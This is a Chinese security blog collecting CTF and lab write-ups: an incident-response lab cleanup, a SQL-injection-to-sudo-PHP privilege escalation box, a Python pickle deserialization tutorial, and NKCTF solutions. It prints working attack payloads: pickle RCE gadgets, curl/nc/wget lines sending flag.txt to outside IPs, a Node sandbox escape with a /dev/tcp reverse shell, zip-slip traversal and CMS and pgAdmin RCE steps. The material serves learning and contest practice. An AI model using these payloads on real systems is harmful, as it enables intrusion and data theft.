get her shell.
post @ 2024-04-18

知识点:js劫持 ,find命令 ,分析日志流量溯源技巧 ,mysql加固 ,linux命令劫持修复


前段时间突然对蓝队技术也有点感兴趣,之前在bugku就看到有应急响应的靶机,但是一直没尝试,前两天正好看到TLS的内部文档里有一篇讲解这个靶机的WP,便看着打了一遍,过程中学到了蛮多细节上的东西和小知识点,遂记录一下

首先,SSH连接服务器,了解一下开放的端口
[端口.png]

0x01 获取js劫持的域名

访问web目录,发生了自动跳转[web.png]
跳转的域名就是劫持的JS域名
https://www.194nb.com

0x02 黑客首次webshell 密码

先切换到/var/www/html web根目录,从文件名找找find /var/www/html -name "*.php" -maxdepth 10
这里-maxdepth 10限制了搜索的目录深度为10层[查看web目录.png]
在Upload目录下有php文件,这个6127的很有可能就是黑客上传的webshell
查看一下[应急2.png]
[应急3.png]
ok ,果然

0x03黑客首次攻击(非有效攻击)通过什么方式

首次入侵的方式我们需要去审计日志最开始查看端口信息可以知道中间件服务是Nginx,所以先去查看Nginx的配置信息find / -name "nginx.config"
查看后可以得到日志的位置

Settings
1
2
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;

然后把日志文件下载到主机上,这样方便分析,我用的是xshell的xftp
然后搜索一下上传这个webshell的流量记录,溯源到了攻击者的ip
[应急4.png]
这样我们就可以从全部流量中过滤出黑客的操作

用notepad++查找攻击者的ip,然后提取有关键词的全部行,这也是我这次学到的一个操作,具体可参考NOTEPAD++提取含关键字的全部行这样就大大减轻了审计工作将提取出的流量保存在新的一个文件中[POST.png]搜索post,前面几个都看不出什么问题,第六个就是很明显的是XSS了直接提交

0x04请找到黑客留下的后门中黑客服务器的ip及端口

查看了一下上传的木马里面并没有黑客服务器的ip信息[应急5.png]
继续分析流量日志中找不到免杀马的落地记录,应该是流量经过编码了,分析一下流量[流量.png]继续看post请求,后面开始有大量的连续流量,随便url转码一个[应急6.png]
为了方便阅读可以把";'都替换为";\r\n"这样可以换行,清晰很多可以看到执行命令的语句,以及最后有每个包的传参拿着参数名字再搜索一下[应急7.png]
然后可以按照规则base64解码,这里我一开始拿着参数值转码怎么都是乱码,后来仔细分析发现原来忽略了substr的截取,substr(“xxxx”,2)是从第3个字符开始的,去掉前两个字符之后再转就好了
[应急8.png]
[应急9.png]
[应急13.png]
ok现在知道了每个参数则作用了,有指定shell脚本的,有指定目录的,有执行rce语句的那么我们就去/cache这个黑客进行操作的目录看看
[应急14.png]
ok啊反弹shell,拿下ip和端口

0x05提交黑客上传的第二个webshell内的flag

之前找到过webshell,但是没flag,那应该不止这一个,重新找一下:

1
2
find /var/www/html -name "*.php" -
maxdepth 10```

[webshell2.png]
/img还能找到一个.php[falg.png]

0x06修复mysql可getshell漏洞

这个是一点想法没有,看了大佬wp知道是要加固mysql的安全配置:secure_file_priv

首先是查看mysql的配置文件`vim /etc/mysql/my.cnf
[myconf.png]
可以看到secure-file-priv的值为空的,加固做法是直接注释掉就好了(

  • secure_file_priv 这个变量被用于限制导入和导出的数据目录,比如 LOAD DATA 和 SELECT … INTO OUTFILE 语句,以及 LOAD_FILE() 函数。这些操作限制了哪些用户拥有文件操作权限。

  • secure_file_priv 有些设置选项:

    • 如果为空,不做目录限制,即任何目录均可以。
    • 如果指定了目录,MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在,MySQL 不会自动创建该目录。
    • 如果设置为 NULL,MySQL 服务器禁止导入与导出功能。
    • 该变量的默认值,是由编译时的 CMake 选项而定。
  • MySQL 服务器在启动时,会检查 secure_file_priv 变量值,如果值不安全会在错误日志中写一个 WARNING 级别的日志。以下情况属于不安全的设置:

    • 值为空
    • 值为–datadir目录或其子目录
    • 所有用户均有权限访问的目录

0x07找到黑客添加的账号并删除

cat /etc/shadow
[账号.png]
摘了一段

/etc/shadow 是干嘛用的?
/etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。

早期的 UNIX 密码放在 /etc/passwd 文件中,由于该文件允许所有用户读取,易导致用户密码泄露,因此从 /etc/passwd 文件中分离出来,并单独放到了此文件中。/etc/shadow 文件只有 root 用户拥有读权限,保证了用户密码的安全性。

具体看Linux /etc/shadow(影子文件)内容详解_unix /etc/shadow-CSDN博客

发现aman账号userdel aman
发现无法删除要用groupdel aman
[del.png]
ai的解释

在Linux系统中,每个用户可以属于一个或多个组。其中一个组被称为用户的“主组”(primary group),通常用户的用户名和主组的组名是相同的。当尝试从一个组中删除用户时,如果该组是用户的主组,那么用户不会被从该组中删除。这是因为用户的主组通常与用户的个人目录和文件的权限设置相关联。

这条消息:userdel: group 'aman' not removed because it is not the primary group of user 'aman'
表明你尝试使用userdel命令删除名为aman的组,但是这个组不是用户aman的主组。如果你想删除用户aman,你需要确保他不属于任何文件的拥有者,并且没有任何进程正在运行,然后使用userdel命令来删除用户。

0x08修复黑客篡改的命令并且删除篡改命令生成的免杀马

使用 dpkg -V 查看系统被修改过的系统指令[dpkg.png]
重点关注两个/bin下的就好了使用ls -l可以查看目录中文件及其属性信息[ls-l.png]
可以看到修改时间和前面日志看到的攻击时间高度吻合,应该就是了[ps1.png]
是一个免杀马写入的程序(具体为什么我也不知道)
[-ls.png]
所幸有备份
![[cat ls.png]](https://github.com/P4nY0O/P4nY0O.github.io/blob/main/pic/cat ls.png?raw=true)
直接`cp /bin/ls2 /bin/ls
覆盖了即可修复再rm掉之前看到那个免杀马即可

0x09修复黑客篡改的命令2

ps命令,步骤同ls

0x10修复JS劫持

访问主页时抓包[抓包.png]
返回包搜索js能找到一段被加密过的的js代码,不出意外就是劫持代码了在网站根目录可以找到这段代码[删js.png]
删掉即可

Read More
手工爆库、php提权

启动好靶机之后先查看一下kali的ip
ip a
b501152dca57d9d2aea45ef50d8d980

然后因为靶机和kali是在同一个C段的直接nmap扫一下子网nmap -sn 192.168.136.0/24
除了kali的130多出了一个133,应该就是靶机了
e4b436ed9b614ca335301cedebcc51b

端口发现nmap -A 192.168.136.133
79f0748d6f4484ae3dc0184ca740b53
图形工具也可以,就是不太优雅

6cfd4f1cb481b234808175f07a15b32

扫出来两个端口,一个22的是SSH服务的,因为还没拿到账号密码所以暂时先放着
80端口运行一个Apache的web服务,直接web端访问一下(命令行直接curl也行)
be2265491907be04b559ddd07658827
可以看到是要本地访问,源码提示了x-forwarded-for
暂时先放着,继续信息收集

sudo nmap --script=vuln -p22,80 192.168.28.51 -oA nmapscan/vuln
这个命令可以让nmap使用指定脚本(vuln)在扫描端口的同时检测漏洞,这次没有扫出什么.但是以后可以作为信息收集的一步,如果可以在信息收集时就找到漏洞就最好了

目录爆破

sudo gobuster dir -u http://192.168.136.133 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
Pasted image 20240410233523

sudo gobuster dir -u http://192.168.136.133 -x txt,sql,rar,zip,tar -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
在爆破目录的同时重点查找-x指定的扩展名
Pasted image 20240410234004
/misc应该是默认的一些配置页面
/config页面下有一个config.php,但是无法访问那么信息收集差不多就结束了,下面尝试本地访问

在BP中的匹配与替换规则中新增一个x-forwarded-for:localhost规则,这个不用每次都要抓包手动加http头
2434cae61fc0635a635ba4e15ef5f75 2

成功访问后可以看到除了登录系统,注册系统外并无其他功能注册一个看看
094eaa8faa3a2b4d60451afc19f95be

ok了登录之后再profile这里发现到url中的user_id,学过sql注入的可以猜到,数据库的查询操作应该是直接使用get方法在url传递的. 这是网站一个很危险的处理方法
13d5dd722b04b6b4813eff707f1dbf8

果然啊,直接改user_id就可以查看到其他用户的账号名密码则是在源码中直接看到明文了
Pasted image 20240411002235

这里由于用户不多 可以直接将账号密码尝试连接前面发现的22端口的SSH服务,手工枚举几次
e39f7ff9a510b8d51a41005cc677edb

在试到第五个账号alice时,可以看到已经链接成功了
e39f7ff9a510b8d51a41005cc677edb

到处看看
6726e7e7ea4610059f692a83f68e2ed

使用ls -liah可以列出隐藏文件
2563f53d88975ad52077b7744c90499

可疑的.my_secret

9a84df951023a27e54101ca1ab4bfaa

flag1拿下
shell里面没有clear命令,为了页面简洁完善环境变量
`export TERM=xterm-color

然后访问/var/www/html
可以查看到我们之前在web端的config页面有目录但无法访问的的config.php
首先看看可用的系统命令,可以看到是有php的
sudo -l
sudo-l

下面就是提权各种提权方式可在https://gtfobins.github.io/查询

那么就有很多提权方式了,反弹shell也可以这里用的是最简单的由php直接调用系统命令新建一个/bin/bash会话(system,exec,passthru)都可以
flag2

在PHP中,`-r` 参数是用于在命令行模式下执行一段PHP代码,而不是运行一个PHP脚本文件。这个参数允许用户直接在命令行中输入PHP代码,并立即执行,得到结果,这对于快速测试代码片段或者进行交互式编程非常有用

拿到flag2,结束

Read More
post @ 2024-03-29

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
PVM 由三部分组成:

  1. 指令处理器
    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。

  2. stack
    由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

  3. memo
    由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

pickle在(反)序列化中用到的函数

1
2
3
4
5
6
7
# 序列化
pickle.dump(文件)
pickle.dumps(字符串)

# 反序列化
pickle.load(文件)
pickle.loads(字符串)

举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle  

class Roommates(object):
def __init__(self,name = "lwt"):
self.name = name

def say(self):
print ("hello!")

a = Roommates()
b = pickle.dumps(a)
c = pickle.loads(b)

print(b)
print(c)
c.say()

#输出:
b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\tRoommates\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x03lwt\x94sb.'
<__main__.Roommates object at 0x0000026BD8F86640>
hello!

可序列化的对象

  • None 、 True 和 False

  • 整数、浮点数、复数

  • str、byte、bytearray

  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict

  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)

  • 定义在模块最外层的内置函数

  • 定义在模块最外层的类

  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

相信搞web的师傅都对php反序列化特别熟悉

相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在,Python 凭借着自己彻底的面向对象的特性完胜 PHP ,Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面

反序列化攻击的重点函数:

object.__reduce__() 函数

  • 在开发时,可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。

  • 在下文pickle的opcode中, R 的作用与 object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的后文还会提到


pickle序列化后的数据是opcode,它相对其他语言所用的json格式而言易读性稍差,但是能够储存更多的python数据结构,随着python的更新迭代,opcode也有几个版本

OPCODE

v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python

opcode
常用操作码:

  • c : 读取本行内容作为模块名module,读取下一行内容作为对象名object,然后将module.object作为可调用对象压入栈中

  • ( : 将一个标记对象压入栈中,作为一个确定命令执行的位置,搭配 t 使用,产生元组

  • s : 后面跟字符串,读取引号中的内容,直到遇见换行符,将内容压入栈

  • t : 从栈中不断pop出数据,直到遇见 ( 停止,产生一个元组压回栈

  • R : 将之前压入栈的元组和对象全部弹出,将元组作为可调用参数的对象并执行该对象,最后将结果压入栈中

  • . : 结束整个pickle反序列化过程

  • ) ] }:入栈一个空t l d

  • b:用栈中第一个元素给第二元素赋值(和入栈顺序相反)

  • u:寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中

  • d:寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)

  • a: 将栈的第一个元素append到第二个元素(列表)中

  • o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象

  • i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

更全的表

opcode 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
p 将栈顶对象储存至memo_n pn\n
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更

举例

pickle.loads(b"““cos
system
(S’calc’
tR.””")

  • 对应os.system(“calc”)

pickle.loads(b"““c__builtin__
getattr
(c__builtin__
import
(S’os’
tRS’system’
tR(S’whoami’
tR.””")

  • 对应getattr(import(“os”),“system”)(“whoami”)


v3

v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议
pickle3版本的opcode(指令码)示例:

  • b’\x80\x03X\x04\x00\x00\x00abcdq\x00.’ ​

  • \x80:协议头声明

  • \x03:协议版本

  • \x04\x00\x00\x00:数据长度:4

  • abcd:数据

  • q:储存栈顶的字符串长度:一个字节(即\x00)

  • \x00:栈顶位置

  • .:数据截止

v4

4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 315
\8c\xx+字符串,xx为长度
\x94将前面的数据存入内存,可以看做是一段的结束
\x93使用栈顶两个元素,获取module.name
\x81新建对象


各个不同的版本实现的PVM操作码不同,但却是向下兼容的,比如上面python2序列化输出的opcode字符串可以放在python3里正常反序列化,但python3序列化输出的v3或v4地字符串却不能让python2反序列化

BUILD指令(b)

通过BUILD指令与C指令©的结合,我们可以把一个对象改写为os.system或其他函数假设某个类原先没有__setstate__方法,我们可以利用{‘setstate’: os.system}来BUILE这个对象
BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的_setstate__方法就改为了我们指定的os.system
接下来利用"ls /"来再次BUILD这个对象,则会执行setstate(“ls /”),而此时__setstate__已经被我们设置为os.system,因此实现RCE

1
2
3
4
5
6
7
8
9
import pickle


class user():
def __init__(self):
pass

pickle.loads(b"c__main__\nuser\n)\x81}(S'__setstate__'\ncos\nsystem\nub.")
pickle.loads(b"c__main__\nuser\n)\x81}(S'__setstate__'\ncos\nsystem\nubVcalc\nb.")

\x81用于创建新对象


还有一种利用方法:利用__reduce__() 魔术方法:

可以通过重写类的object.reduce()使之在被实例化时按照重写的方式进行。具体而言,python要求该魔术方法返回一个元组(callable,[para1,para2…]),每当该类的对象被unpickle时,callable被调用生成对象(实际就是构造函数)

在pickle的opcode中,R的作用与object.reduce()关系密切:选择栈上的一个元素作为函数,另一个作为参数(必须为元组),然后调用该函数。其实R正好对应object.reduce()函数,让它的返回值作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的

示例:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
class People(object):
def __init__(self,name="test"):
self.name=name

def __reduce__(self):
return (eval,("__import__('os').system('whoami')",))

a = People()
c = pickle.dumps(a)
print(c)
pickle.loads(c)

输出
b"\x80\x04\x95=\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c!import(‘os’).system(‘whoami’)\x94\x85\x94R\x94."
pan\27104

pickle的常用攻击方式

  1. 变量覆盖

  2. RCE(反弹shell)

这里我们暂时只用一道# [watevrCTF-2019]Pickle Store来举例展示

pickle_shop
题目进去是一个商店界面,初始有500刀,得到flag需要购买1000刀的Flag Pickle
然后购买上面两个商品发现每次购买后COOKIE的session都会改变,base64解码后可以发现是用pickle序列化后的数据

1
2
3
4
5
6
import pickle  
from base64 import *

enc = "gAN9cQAoWAUAAABtb25leXEBTXwBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBVgVAAAAWXVtbXkgc3RhbmRhcmQgcGlja2xlcQZlWBAAAABhbnRpX3RhbXBlcl9obWFjcQdYIAAAADgwNzUzODY5ZmEzODNlOGFjNWQ2YWJhM2FiYWU3ZGMzcQh1Lg=="
print(b64decode(enc))
#输出b'\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M|\x01X\x07\x00\x00\x00historyq\x02]q\x03(X\x14\x00\x00\x00Yummy sm\xc3\xb6rg\xc3\xa5sgurkaq\x04X\x15\x00\x00\x00Yummy standard pickleq\x05X\x15\x00\x00\x00Yummy standard pickleq\x06eX\x10\x00\x00\x00anti_tamper_hmacq\x07X \x00\x00\x0080753869fa383e8ac5d6aba3abae7dc3q\x08u.'

接着用pickle反序列化它

1
2
3
4
5
6
import pickle  
from base64 import *

enc = "gAN9cQAoWAUAAABtb25leXEBTXwBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBVgVAAAAWXVtbXkgc3RhbmRhcmQgcGlja2xlcQZlWBAAAABhbnRpX3RhbXBlcl9obWFjcQdYIAAAADgwNzUzODY5ZmEzODNlOGFjNWQ2YWJhM2FiYWU3ZGMzcQh1Lg=="
print(pickle.loads(b64decode(enc)))
#输出{'money': 380, 'history': ['Yummy smörgåsgurka', 'Yummy standard pickle', 'Yummy standard pickle'], 'anti_tamper_hmac': '80753869fa383e8ac5d6aba3abae7dc3'}

可以看到pickle反序列化成功了,上面记录了我的余额,购买记录,以及后面跟着的加密算法验证这里我们就有了两个思路

1. 利用RCE

由于在BUU平台反弹shell较为繁琐,我就直接贴上其他师傅的exp

P3rh4ps师傅的:

1
2
3
4
5
6
7
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl -d @flag.txt 174.0.157.204:2333')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

直接上传了flag.txt

ch4ser师傅的:

1
2
3
4
import os
class test(object):
def __reduce__(self):
return (os.system,("wget 'http://xss.buuoj.cn/index.php?do=api&id=Krwr7k' --post-data='location='`cat flag.txt` -O-",))

这里用到了buuctf的xss平台

ice-cream师傅的:

1
2
3
4
5
6
7
8
import pickle
import base64
import os
class A(object):
def __reduce__(self):
return (os.system,('nc 174.0.166.111 2333 < flag.txt',))
a = A()
print(base64.b64encode(pickle.dumps(a)))

使用nc反弹shell

2. 覆盖key并伪造cookie

解法二,he110world师傅介绍的解法

首先做一个实验:假如py脚本中已经定义了一个变量key,而反序列化的pickle流中包含了给key赋值的操作,那么反序列化后key的值会被覆盖吗,我们来验证一下

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

key = b'11111111111111111111111111111111'
class A(object):
def __reduce__(self):
return (exec,("key=b'66666666666666666666666666666666'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)

输出:

1
2
b"\x80\x03cbuiltins\nexec\nq\x00X'\x00\x00\x00key=b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03."
b'66666666666666666666666666666666'

成功覆盖

那么在这道题目中,一个是要讲余额覆盖为足够购买的金额,更重要的是要将签名的key密钥覆盖掉,进而伪造cookie

1
2
3
4
5
6
7
8
9
10
import pickle
import hmac

key=b'66666666666666666666666666666666'
cookies = {"money":10000,"history":[]}
h = hmac.new(key)
h.update(str(cookies).encode())
cookies["anti_tamper_hmac"] = h.digest().hex()
result2 = pickle.dumps(cookies)
print(result2)

把余额设置为10000,并用我们自己的key来给cookie做签名,得到的pickle流:

1
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00

key的值被成功覆盖

那么现在要做的就只有两件事,1 把flask的key覆盖为我们自己的key, 2 用我们自己的key给cookie加密

1.flask中定义的key是全局变量,而反序列化操作却是在函数内部进行的,要使函数内的变量要覆盖全局变量的值,必须加global声明,所以修改payload:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

key = b'11111111111111111111111111111111'
class A(object):
def __reduce__(self):
return (exec,("global key;key=b'66666666666666666666666666666666'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)

2. 伪造cookie

1
2
3
4
5
6
7
8
9
10
import pickle
import hmac

key=b'66666666666666666666666666666666'
cookies = {"money":10000,"history":[]}
h = hmac.new(key)
h.update(str(cookies).encode())
cookies["anti_tamper_hmac"] = h.digest().hex()
result2 = pickle.dumps(cookies)
print(result2)

只需要把第一个pickle流结尾表示结束的.去掉,把第二个pickle开头的版本声明去掉,两者拼接起来第一个pickle流:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}."
第二个pickle流:
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
按所说方法拼接:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
base64编码后,抓下购买flag的包,修改其中的cookie发送

将返回的cookie反序列化:

1
2
3
4
import pickle
import base64

print(pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTSgjWAcAAABoaXN0b3J5cQJdcQNYKwAAAGZsYWd7MjM1NzllOTMtNjBmNi00YWIyLWIyOGMtYjIxMTg1NDhjYTlmfQpxBGFYEAAAAGFudGlfdGFtcGVyX2htYWNxBVggAAAANzQ1ZmVkMjk1MmIzM2YwOGVhYjhiZWU4ZGI2NWE3ZTlxBnUu')))

输出{‘money’: 9000, ‘history’: [‘flag{23579e93-60f6-4ab2-b28c-b2118548ca9f}\n’], ‘anti_tamper_hmac’: ‘745fed2952b33f08eab8bee8db65a7e9’}


pickle反序列化有一个专门的利用工具pker

https://github.com/EddieIvan01/pker

由于我自己也还没玩明白就暂时不作介绍了

Python 反序列化漏洞如何防御

(1) 不要再不守信任的通道中传递 pcikle 序列化对象
(2) 在传递序列化对象前请进行签名或者加密,防止篡改和重播
(3) 如果序列化数据存储在磁盘上,请确保不受信任的第三方不能修改、覆盖或者重新创建自己的序列化数据
(4) 将 pickle 加载的数据列入白名单

参考文章

Read More
post @ 2024-03-25

其实这次比赛真正思考的时间不多,和学会的内部赛冲突了,少了8个小时,打完内部赛之后就跟着学长们的思路复现了。这两天给大脑输入了太多东西,学长们的思路也没来的及消化,就借这篇半引用的WP帮自己梳理一下,也存档一下

WEB

my_first_cms

题目是的框架用的是cms-made-simple

后台密码

admin/Admin123

1 ) log in as admin and go to Extensions > User Defined Tags >

2 ) Write in Code place payload > <?php echo system('id'); ?>

3 ) After click run you will be see result :

uid=1000(admin) gid=1000(admin) groups=1000(admin) uid=1000(admin) gid=1000(admin) groups=1000(admin)

漏洞文章https://hub.packtpub.com/cms-made-simple-application-user-defined-tags/
省流版https://packetstormsecurity.com/files/177241/CMS-Made-Simple-2.2.19-Remote-Code-Execution.html

工作原理

用户自定义标签通过将PHP代码与Smarty模板引擎识别的标签关联起来。当Smarty解析模板遇到该标签时,它会执行相关的PHP代码,并将标签标记替换为PHP代码的输出

一开始我自己找到的文章不对,是这个框架的另一个SSTI洞,后来5x给出了正确的漏洞文章,按步骤找到对应页面粘贴上payload,换成 ls /然后cat flag皆可

flag1

吐槽一下自己猜弱口令经验太少,一开始admin123都试了居然没试Admin123

用过就是熟悉

用户账号密码在数据库文件中

admin/!@!@!@!@NKCTFNKCTFChu0

guest/!@!@!@!@NKCTFChu0

在本地搞个压缩包,里面放webshell

登录后台,将压缩包上传

修改数据包中的pathto为%7D%2F%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f

之后就能跨目录解压到

http://8629d181-00ee-4ebd-8caa-c23531b6d2a1.node.nkctf.yuzhian.com.cn/}/shell.php

这题主要利用的漏洞是压缩包slip

Zip Slip是一个广泛存在的漏洞,除了Java语言,JavaScript,Ruby,.NET和Go都有此问题。

利用此漏洞有两个前提:

  • 有恶意的压缩文件(这一点我们可以自己构造)

  • 提取代码不会执行目录检查。

恶意的压缩文件一般包含../目录,从而解压时会跳出当前目录。

提取代码一般会得到压缩文件中的文件目录,如果不对这些目录进行校验则会出现slip问题

学长说这种漏洞在实际场景中还是很常见的,很多cms还有这种洞

参考文献:

ck

这题要重视

最简单的CTF

题目有一个js代码的提交窗口,可以填入任意代码submit,源码有waf

反弹shell,大小写绕过,getOwnPropertyDescriptor获取所有属性值

1
2
3
4
5
6
7
8
const code = `throw new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return PROCESS'.toLowerCase()))();
return Object.getOwnPropertyDescriptor(p.mainModule.require('child_Process'.toLowerCase()), 'EXEC'.toLowerCase()).value('bash -c "bash -i >& /dev/tcp/47.115.225.25/2333 0>&1"');
}
})
`

sorry这题还没机会看太多源码,不是太清楚为什么要打这段payload
收获最多的是逼着我当晚上腾讯云搞了个服务器,终于可以在公网接收反弹shell了

shell2

shell1

attack_tacooooo

https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/Details

Root Cause Analysis

pgAdmin4 uses a file-based session management approach. The session files are saved on disk as pickle objects. When a user performs a request, the value of the session cookie pga4_session is used to retrieve the file, then it’s content is deserialized, and finally its signature verified.

The ManagedSessionInterface class implements flask’s SessionInterface to read the user’s cookie and translate it into their session

The cookie value is split in 2 parts at the first ! character. The first part is the session ID (sid), while the second is the session digest.

The vulnerability lies in the FileBackedSessionManager.get method that loads session files by concatenating the sessions folder - located inside the pgAdmin4 DATA_DIR - with the session ID. Precisely, the two values are concatenated using the os.path.join function.

This function has two weaknesses:

  • It does not set a trusted base-path which should not be escaped, therefore os.path.join("/opt/safe/", "../../etc/passwd") returns /etc/passwd.

  • It uses the right-most absolute path in its arguments as the root path, therefore os.path.join("./safe/", "do_not_escape_from_here", "/etc/passwd") returns /etc/passwd.

没什么好说的,真的就是按着文章打,经复现测试少一步都不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import struct
import sys

def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b

if __name__ == '__main__':
